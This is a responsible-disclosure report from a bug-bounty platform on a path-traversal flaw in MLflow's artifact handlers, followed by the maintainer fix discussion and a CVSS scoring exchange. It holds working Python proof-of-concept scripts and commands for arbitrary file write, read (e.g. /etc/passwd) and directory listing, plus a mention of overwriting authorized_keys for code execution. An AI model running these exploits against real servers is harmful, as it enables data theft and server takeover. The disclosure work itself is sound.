

bypass validate_path_is_safe() check to upload arbitrary files to arbitrary directories in mlflow/mlflow

✓ Valid

Reported on Nov 25th 2023

The bug is in `validate_path_is_safe()` function, and the way it is used in handlers.

Most serious of the vulnerabilities is in `upload_artifact_handler()` function (`server/handlers.py`), but there are other handlers that make the same mistake and allow for LFI.

In `upload_artifact_handler()`, path is controlled by an attacker through query paramter `path`. `validate_path_is_safe(path)` is used to verify it, where it will check if `is_file_uri(path)` and if so it will extract path component in `local_file_uri_to_path(path)` with `urlib.parse.urlparse()`, but if there is `#` in the path, eg:

```
>>> urllib.parse.urlparse('file://a#../../../../../../../../tmp/xxx')
>>> ParseResult(scheme='file', netloc='a', path='', params='', query='', fragment='/')
```

then `local_file_uri_to_path(path)` will return an empty string and all checks in `validate_path_is_safe()` will pass, but back in `upload_artifact_handler()` it will continue to use the original value that was set as param. It will then extract

```
basename = posixpath.basename(path)
dirname = posixpath.dirname(path)
```

so if path was `file://a#../../../../../../../../tmp/xxx`, then

```
basename == "xxx"
dirname == "file://a#../../../../../../../../tmp"
```

later it uses `basename` and `dirname` to create a file in temporary directory:

```
with tempfile.TemporaryDirectory() as tmpdir:
    dir_path = os.path.join(tmpdir, dirname) if dirname else tmpdir
    file_path = os.path.join(dir_path, basename)

    os.makedirs(dir_path, exist_ok=True)

    with open(file_path, "wb") as f:
        f.write(data)
```

so `file_path` will end up being `/tmp/tmpRANDOM/file:///a#/. ../../../../../../tmp/xxx`, where it will effectively write to `/tmp/xxx`.

```
import sys
from random import randbytes
from requests import Session

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"python3 {sys.argv[0]} URL RPATH CONTENT")
        print(f"example: python3 {sys.argv[0]} 'http://localhost:5000' '/tmp/pwnd' '1'")
        exit()

    url, rpath, content = sys.argv[1:4]
    ajax_api = f"{url}/ajax-api/2.0/mlflow"

    experiment_name = "e_" + randbytes(4).hex()
    with Session() as s:
        # also possible to just supply existing run_uuid, but for the sake of automa
        # PoC, new experiment and run will be created:
        rsp = s.post(f"{ajax_api}/experiments/create", json={
            "name" : experiment_name
        })

        experiment_id = rsp.json()["experiment_id"]

        rsp = s.post(f"{ajax_api}/runs/create-promptlab-run", json={
            "experiment_id" : experiment_id,
            "prompt_template" : "xxx",
            "prompt_parameters" : [{"key": "test", "value": "test"}],
            "model_route" : "/xxx",
            "model_input" : "[]",
            "mlflow_version" : "2.8.1"
        })

        run_uuid = rsp.json()["run"]["info"]["run_uuid"]
        print(run_uuid)
        rsp = s.post(f"{ajax_api}/upload-artifact?run_uuid={run_uuid}&path=file:///a%

        rsp = s.post(f"{ajax_api}/experiments/delete", json={
            "experiment_id" : experiment_id
        })
```

Impact

This vulnerability is capable of writing arbitrary files into arbitrary locations on the remote filesystem in the context of the server process.

⚙️ We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

🔗 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago

✉ We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago



✎ **ozelis** modified the report 2 years ago



✎ **ozelis** modified the report 2 years ago



Harutaka Kawamura commented 2 years ago

Maintainer

Thanks for reporting this. We filed <https://github.com/mlflow/mlflow/pull/10641>. Could you take a look? Thanks in advance.



ozelis commented 2 years ago

Researcher

I checked out the proposed fix, but that is not enough. I can still bypass the check with `%3f` (thats is `?`) instead of `%23`. The way i would fix it is in `validate_path_is_safe()` function i would `return` the path that was actually checked, and in handlers that use that function i would have

```
path = validate_path_is_safe(path)
```

so that the checked `path` is used, instead of the user controlled input. This way even if user adds some stuff after `?` or `#`, only the `path` component of the URI is used. Hope that helps.



ozelis commented 2 years ago

Researcher

Also here is a full PoC that includes all of the write/read/list vulnerabilities relating to this. Maybe this will help with testing:

```
import sys, json
from argparse import ArgumentParser
from random import randbytes
from requests import Session
from urllib.parse import unquote

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", required=True)
    parser.add_argument("--cmd", choices=["list", "read", "write"], required=True)
    parser.add_argument("--path", required=True)
    parser.add_argument("--content")
    args = parser.parse_args()

    ajax_api = f"{args.url}/ajax-api/2.0/mlflow"

    with Session() as s:
        # also possible to just supply existing run_uuid, but for the sake of automated
        # PoC, new experiment and run will be created:
        experiment_name = "e_" + randbytes(4).hex()
        rsp = s.post(f"{ajax_api}/experiments/create", json={
            "name" : experiment_name
        })
```

```

experiment_id = rsp.json()["experiment_id"]

rsp = s.post(f"{ajax_api}/runs/create", json={
    "experiment_id" : experiment_id
})

run_uuid = rsp.json()["run"]["info"]["run_uuid"]

# upload an artifact to force creation of './mlartifacts' directory in servers CWD in case
# no artifacts were uploaded before:
rsp = s.post(f"{ajax_api}/upload-artifact?run_uuid={run_uuid}&path=xxx", data="whatever")

if args.cmd == "write":
    rsp = s.post(f"{ajax_api}/upload-artifact?run_uuid={run_uuid}&path=file://{a%23}/../../../../"
    print(rsp.text) # it is fine if response indicates an error, the file was still written

elif args.cmd == "read":
    # either %23 or %3f will work here:
    # pre = "file://{a%23}/../../../../../../../../../../../../../../../../../../../../"
    pre = "file://{a%3f}/../../../../../../../../../../../../../../../../../../../../"
    rsp = s.get(f"{args.url}/get-artifact?run_uuid={run_uuid}&path={pre}{args.path}")
    try:
        print(rsp.content.decode())
    except UnicodeDecodeError:
        print(rsp.content)

elif args.cmd == "list":
    # either %23 or %3f will work here:
    # pre = "file://{a%23}/../../../../../../../../../../../../../../../../../../../../"
    pre = "file://{a%3f}/../../../../../../../../../../../../../../../../../../../../"
    rsp = s.get(f"{ajax_api}/artifacts/list?run_uuid={run_uuid}&path={pre}{args.path}")
    for file_info in rsp.json()["files"]:
        print(file_info["path"].removeprefix(unquote(pre)))

rsp = s.post(f"{ajax_api}/experiments/delete", json={
    "experiment_id" : experiment_id
})

```

Examples:

```

python3 pwn_mlflow.py --url='http://localhost:5000' --cmd='write' --path='/tmp/b' --content='xxxx'
python3 pwn_mlflow.py --url='http://localhost:5000' --cmd='list' --path='/etc'
python3 pwn_mlflow.py --url='http://localhost:5000' --cmd='read' --path='/etc/passwd'

```



Harutaka Kawamura commented 2 years ago

Maintainer

Thanks ozelis. Your proposal sounds good. I'll file another RP.



Harutaka Kawamura commented 2 years ago

Maintainer

What if we throw an exception in `validate_path_is_safe` if `local_file_uri_to_path` returns an empty string?



ozelis commented 2 years ago

Researcher

Yes, that should work, because as far as i can tell `path` component returned from `urllib.parse.urlparse()` will either be an empty string, or start with a `/`. An extra check for an empty string this will cover both cases.



ozelis commented 2 years ago

Researcher

I double checked just in case, and it looks like

```
>>> urlparse("file:whatever#../../../../../../../../etc/passwd")
ParseResult(scheme='file', netloc='', path='whatever', params='', query='', fragment='../../../../..')
```

and

```
>>> urlparse("file:whatever?../../../../../../../../etc/passwd")
ParseResult(scheme='file', netloc='', path='whatever', params='', query='../../../../../../../../etc/passwd', fragment='')
```

so `path` component will not be empty and it will not start with a `/`, so the checks for `..`, etc. in `validate_path_is_safe()` will still pass.

So i go back to my initial suggestion of returning a path component of `file://` URI in `validate_path_is_safe()` and use that in the handlers.



Harutaka Kawamura commented 2 years ago

Maintainer

Thanks for the confirmation. I filed <https://github.com/mlflow/mlflow/pull/10666>. Would you mind taking a look?



ozelis commented 2 years ago

Researcher

Looks good



Harutaka Kawamura validated this vulnerability 2 years ago

\$ **ozelis** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



Harutaka Kawamura marked this as fixed in **2.9.2** with commit **504487** 2 years ago

\$ The fix bounty has been dropped ✗



This vulnerability has now been published 2 years ago



ozelis commented 2 years ago

Researcher

Can I ask why it got such a low score compared to other similar vulnerabilities (like

<https://huntr.com/bounties/029a3824-cee3-4cf1-b260-7138aa539b85/> ,

<https://huntr.com/bounties/fe53bf71-3687-4711-90df-c26172880aaf/> , etc). This does full

controlled write (and creates directories along the path, like ~/.ssh/authorized_keys), reads files and list contents of directories to find targets on the system to overwrite to get RCE.

Dan McInerney commented 2 years ago

[Admin](#)

Hi ozelis,

The CVSS score appears accurate on this report and both of those links you listed above were downgraded in CVSS score by NIST who is the ruling body on CVSS scoring. Going forward we're asking maintainers to set LFI's to the NIST standard of 7.5. The other report which is very similar to yours, should also have been downgraded due to MLflow's ability to add user authentication to the service. This means Privileges Required should be Low, not None. NIST appears to have missed that small detail in their review of the first link. The only other CVSS scope item left that would change the score is Changed versus Unchanged. In our reviews of NIST's CVSS scoring on tools like MLflow, they generally agree it's Unchanged since MLflow by it's nature has access to the entire filesystem.

So basically, we're trying to ask maintainers to reign in the CVSS scores to be more consistent with NIST standards. By virtue of allowing the maintainers to set the CVSS score themselves there's going to be some inconsistencies.

Thanks, Dan McInerney Lead Threat Researcher

[Sign in](#) to join this conversation

CVE

CVE-2023-6976

Published

Vulnerability Type

CWE-434: Unrestricted Upload of File with Dangerous Type

Severity

High (8.8)

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

2.8.1

Visibility
Public

Status
Fixed

Disclosure Bounty
\$750

Fix Bounty
\$187.5

Found by



ozelis

@ozelis

MIDDLEWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

